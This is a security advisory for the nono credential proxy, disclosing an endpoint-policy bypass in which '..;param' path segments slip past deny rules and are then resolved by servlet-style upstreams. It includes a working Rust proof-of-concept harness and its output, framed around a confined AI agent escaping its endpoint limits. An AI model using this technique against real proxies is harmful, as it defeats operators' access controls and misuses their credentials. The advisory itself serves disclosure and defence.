Skip to main content
Menu
Advisories

nono's endpoint policy enforcement wrongly authorizes paths in network accesses

GHSA-8R33-HR9M-69WHPublished Updated GitHub

Description

nono's credential proxy enforces an L7 endpoint policy (per-route HTTP method+path allow/deny) by matching a normalized form of the request path, but forwards the raw path to the upstream (which in turn normalizes it by itself). The two forms mismatch if the normalizer skips or mishandles certain path components. In nono ≤ v0.72.0, this happens when the path contains .., which the normalizer doesn't "expand" as a parent dir. Therefore, an allowlist pattern http://server.com/home/** will incorrectly allow http://server.com/home/../root, even though the path isn't under http://server.com/home/. This has been fixed in v0.73.0 (the latest version of nono). However, a similar problem persists even in 0.73.0. It happens when the path string contains a segment ..;, e.g., http://server.com/home/..;someargs=1/root will be allowed by the allowlist pattern http://server.com/home/**. However, ;someargs=1 is a path parameter according to RFC 3986 and will be stripped from the path by any upstream that implements this RFC. Therefore, the upstream will get the path and normalize it to http://server.com/root/.

Details

Three ingredients in crates/nono-proxy/ cause the problem:

  1. The policy matcher normalizes, but does not resolve dot-segments** (config.rs:1281, normalize_path):

``rust fn normalize_path(path: &str) -> String { // Strip query string ... then percent-decode ... let path = path.split('?').next().unwrap_or(path); let binary = urlencoding::decode_binary(path.as_bytes()); let decoded = String::from_utf8_lossy(&binary); // Collapse double slashes by splitting on '/' and filtering empties ... let segments: Vec<&str> = decoded.split('/').filter(|s| !s.is_empty()).collect(); if segments.is_empty() { "/".to_string() } else { format!("/{}", segments.join("/")) } } ``

The only per-segment filter is !s.is_empty(). A .. segment is neither empty nor special, so it survives verbatim. (The doc comment claims percent-decoding "prevents bypass via encoded characters". It addresses %70 but not %2e%2e, which decodes to .. and then survives.)

  1. Policy evaluation matches that normalized path: config.rs:1168 evaluate() and :1087 is_allowed() both call normalize_path and match compiled globs against the result. This is norm(r).
  2. Forwarding uses the raw path (reverse.rs:776, :478, and :1410):

``rust let upstream_url = format!("{}{}", route.upstream.trim_end_matches('/'), upstream_path); ``

upstream_path comes straight from parse_service_prefix (reverse.rs), which simply strips the service prefix and preserves everything after it, .. included. This is what the upstream sees and resolves.

enforce_endpoint_policy (reverse.rs:230) runs on the normalized path, and the forward uses the raw path. Such mismatch causes the two vulnerabilities.

A fourth, independent ingredient: endpoint globs are compiled with globset::Glob::new() and literal_separator is never set (config.rs:1069, :1211, and :1269, wheregrep for literal_separator across the crate returns nothing), so * matches across /. This contradicts the EndpointRule docstring at config.rs:947:

/// - `*` matches exactly one path segment
/// - `**` matches zero or more path segments

PoC

6.1 Config under test (expressed in nono's own ProxyConfig JSON)

{
  "bind_addr": "127.0.0.1", "bind_port": 0, "require_auth": true,
  "routes": [{
    "prefix": "api",
    "upstream": "http://127.0.0.1:<mock>",
    "credential_key": "env://POC_SECRET", "env_var": "POC_SECRET",
    "inject_header": "Authorization", "credential_format": "Bearer {}",
    "endpoint_policy": {
      "default": { "decision": "allow" },
      "deny":    [ { "method": "*", "path": "/v1/secrets/**" } ]
    }
  }]
}

Threat model: a credentialed agent that legitimately holds the session/phantom token (it is handed one by design) but is meant to be confined by the endpoint policy. The policy is the boundary being bypassed. require_auth: true is the realistic, hardened setting. The agent presents the token, the proxy swaps in the real POC_SECRET.

Run the following harness with respect to this config:

use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};

/// Mimics a Java servlet container: strip `;...` matrix params from each
/// segment, then resolve `.`/`..` the way any RFC-3986-conformant server
/// would. This is what the *upstream* sees, independent of what nono itself
/// computed for its policy decision.
fn servlet_resolve(path: &str) -> String {
    let path = path.split('?').next().unwrap_or(path);
    let mut segments: Vec<&str> = Vec::new();
    for raw_segment in path.split('/') {
        let segment = raw_segment.split(';').next().unwrap_or(raw_segment);
        match segment {
            "" | "." => {}
            ".." => {
                segments.pop();
            }
            s => segments.push(s),
        }
    }
    format!("/{}", segments.join("/"))
}

type OriginLog = std::sync::Arc<std::sync::Mutex<Vec<(String, String)>>>;

/// A mock upstream API: logs `(raw request-target, servlet-resolved path)`
/// for every request, and serves a marker body only for the resolved path
/// `/v1/secrets/token` -- the resource the policy is meant to deny.
async fn spawn_servlet_origin() -> (u16, OriginLog) {
    let log: OriginLog = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let port = listener.local_addr().unwrap().port();
    let log_handle = log.clone();
    tokio::spawn(async move {
        loop {
            let (mut stream, _) = listener.accept().await.unwrap();
            let log_handle = log_handle.clone();
            tokio::spawn(async move {
                let mut buf = [0u8; 4096];
                let n = stream.read(&mut buf).await.unwrap_or(0);
                if n == 0 {
                    return;
                }
                let head = String::from_utf8_lossy(&buf[..n]);
                let raw_target = head
                    .lines()
                    .next()
                    .unwrap_or("")
                    .split_whitespace()
                    .nth(1)
                    .unwrap_or("")
                    .to_string();
                let resolved = servlet_resolve(&raw_target);
                log_handle.lock().unwrap().push((raw_target.clone(), resolved.clone()));
                let (status, body) = match resolved.as_str() {
                    "/v1/secrets/token" => (200, "TOP-SECRET-RESOURCE (served by servlet origin)".to_string()),
                    "/v1/public/info" => (200, "public".to_string()),
                    _ => (404, format!("no such resource: {resolved}")),
                };
                let response = format!(
                    "HTTP/1.1 {status} X\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
                    body.len()
                );
                let _ = stream.write_all(response.as_bytes()).await;
                let _ = stream.shutdown().await;
            });
        }
    });
    (port, log)
}

/// Raw TCP client so no HTTP library normalizes the exploit path before it
/// reaches the proxy.
async fn get(proxy_port: u16, target: &str, bearer: &str) -> (String, String) {
    let mut stream = TcpStream::connect(("127.0.0.1", proxy_port)).await.unwrap();
    let request =
        format!("GET {target} HTTP/1.1\r\nHost: h\r\nAuthorization: Bearer {bearer}\r\nConnection: close\r\n\r\n");
    stream.write_all(request.as_bytes()).await.unwrap();
    let mut response = Vec::new();
    stream.read_to_end(&mut response).await.unwrap();
    let text = String::from_utf8_lossy(&response).to_string();
    let status_line = text.lines().next().unwrap_or("").to_string();
    let body = text.splitn(2, "\r\n\r\n").nth(1).unwrap_or("").to_string();
    (status_line, body)
}

#[tokio::main]
async fn main() {
    std::env::set_var("POC_SECRET", "sk-REAL-LONG-LIVED-KEY-do-not-leak");
    let (origin_port, origin_log) = spawn_servlet_origin().await;

    let config = serde_json::json!({
        "bind_addr": "127.0.0.1",
        "require_auth": true,
        "routes": [{
            "prefix": "api",
            "upstream": format!("http://127.0.0.1:{origin_port}"),
            "credential_key": "env://POC_SECRET",
            "env_var": "POC_SECRET",
            "inject_header": "Authorization",
            "credential_format": "Bearer {}",
            "endpoint_policy": {
                "default": { "decision": "allow" },
                "deny": [{ "method": "*", "path": "/v1/secrets/**" }]
            }
        }]
    });
    let handle = nono_proxy::start(serde_json::from_value(config).unwrap()).await.unwrap();
    let (proxy_port, session_token) = (handle.port, handle.token.to_string());

    println!("nono v0.74.0 (LATEST, HEAD bc1406e9) | deny /v1/secrets/** ; upstream = servlet-style origin\n");

    let (control_status, _) = get(proxy_port, "/api/v1/secrets/token", &session_token).await;
    println!("[A] direct  GET /api/v1/secrets/token                      -> {control_status}");

    // `..;jsessionid=1` is one literal segment to nono's normalizer (neither
    // "." nor ".."), so its normalized path stays under `/v1/public/` and
    // the default-allow branch fires. The servlet origin strips
    // `;jsessionid=1`, is left with `..`, and resolves into `/v1/secrets/`.
    let (exploit_status, exploit_body) =
        get(proxy_port, "/api/v1/public/..;jsessionid=1/secrets/token", &session_token).await;
    println!("[C] EXPLOIT GET /api/v1/public/..;jsessionid=1/secrets/token");
    println!("    -> {exploit_status}");
    println!("    body: {}", exploit_body.trim());

    println!("\norigin log (raw request-target -> servlet-resolved path):");
    for (raw, resolved) in origin_log.lock().unwrap().iter() {
        println!("    {raw:<48} -> {resolved}");
    }

    println!("\nproxy audit log (policy decisions):");
    for event in handle.drain_audit_events() {
        if let Some(path) = event.path.clone() {
            println!("    decision={:?}\trule={:?}\tpath={path}", event.decision, event.endpoint_policy_rule);
        }
    }

    let bypassed = exploit_body.contains("TOP-SECRET-RESOURCE");
    println!("\n=== VERDICT (latest release v0.74.0) ===");
    println!("direct /v1/secrets/token blocked : {}", control_status.contains(" 403"));
    println!("..; path-confusion reached secret: {bypassed}");
    println!("real injected key sent to secret : {bypassed}");

    handle.shutdown();
    std::process::exit(if bypassed { 0 } else { 1 });
}

It produces the following transcript:

nono v0.74.0 (LATEST, HEAD bc1406e9) | deny /v1/secrets/** ; upstream = servlet-style origin

[A] direct  GET /api/v1/secrets/token                      -> HTTP/1.1 403 Forbidden
[C] EXPLOIT GET /api/v1/public/..;jsessionid=1/secrets/token
    -> HTTP/1.1 200 OK
    body: TOP-SECRET-RESOURCE (served by servlet origin)

origin log (raw request-target -> servlet-resolved path):
    /v1/public/..;jsessionid=1/secrets/token         -> /v1/secrets/token

proxy audit log (policy decisions):
    decision=Deny	rule=Some("endpoint_policy.deny[* /v1/secrets/**]")	path=/v1/secrets/token
    decision=Allow	rule=Some("endpoint_policy.default")	path=/v1/public/..;jsessionid=1/secrets/token
    decision=Allow	rule=None	path=/v1/public/..;jsessionid=1/secrets/token

=== VERDICT (latest release v0.74.0) ===
direct /v1/secrets/token blocked : true
..; path-confusion reached secret: true
real injected key sent to secret : true

Explanation:

  • [A] is the control: a direct request for the denied resource is correctly rejected with 403. This proves the deny rule itself works and isn't simply absent or misconfigured.
  • [C] is the exploit: GET /api/v1/public/..;jsessionid=1/secrets/token gets 200 OK with the secret body, even though the policy denies /v1/secrets/**.
  • The origin log line is the first oracle: it shows the upstream received the raw request-target verbatim (..;jsessionid=1 intact) and, applying ordinary servlet path-parameter stripping, resolved it to /v1/secrets/token, which is the exact resource that the operator walled off.
  • The audit log is the second, independent oracle, and is the smoking gun. It shows three decisions, all against nono's own internal record of what it did:
  • decision=Deny path=/v1/secrets/token — this is the direct request from [A]; nono correctly matches it against the deny rule.
  • decision=Allow rule="endpoint_policy.default" path=/v1/public/..;jsessionid=1/secrets/token. This is the normalized form of the exploit path nono computed for its own policy decision. Because ..;jsessionid=1 is one opaque literal segment to nono's normalizer (it is neither . nor ..), the normalized path never leaves /v1/public/, never matches /v1/secrets/**, and falls through to the default-allow branch.
  • A second decision=Allow rule=None entry for the same path is emitted by a later audit checkpoint in the request lifecycle (e.g. the outbound-forward audit point) that also runs after the policy decision is already made; it carries no rule name because at that point the request has already been let through.
  • The two oracles disagree about what request happened: nono believes it allowed a request under /v1/public/, where the upstream served /v1/secrets/token.

Impact

The vulnerability is relevant to anyone who relies on nono's endpoint policies:

  • Endpoint-policy bypass. Any deny (or default-deny + narrow allow) rule that anchors on a path prefix is bypassable by routing through an allowed sibling prefix, e.g., with /..;param/. The whole point of --allow-endpoint SERVICE:METHOD:/path, confining a credentialed agent to specific API endpoints, is defeated.
  • Credential misuse, not just data access. The proxy injects the real long-lived secret on the forwarded request, so the agent reaches the forbidden endpoint authenticated as the operator. On a real API, this is arbitrary use of the key against endpoints the operator explicitly walled off (delete/admin/secrets/billing paths, etc.).
  • Reachable by design surface. The endpoint-policy feature exists specifically to contain "a runaway or compromised agent" (the project's own words). The attacker here is that agent, crafting a raw request, squarely in scope.
  • Realistic upstream class. The vector needs an upstream that strips ;-delimited path parameters (servlet stacks such as Tomcat/Jetty/Spring) or double-decodes. That is a large share of real-world APIs a credential broker fronts, not a contrived edge case.

Affected versions

References

GitHub · nolabs-ai/nono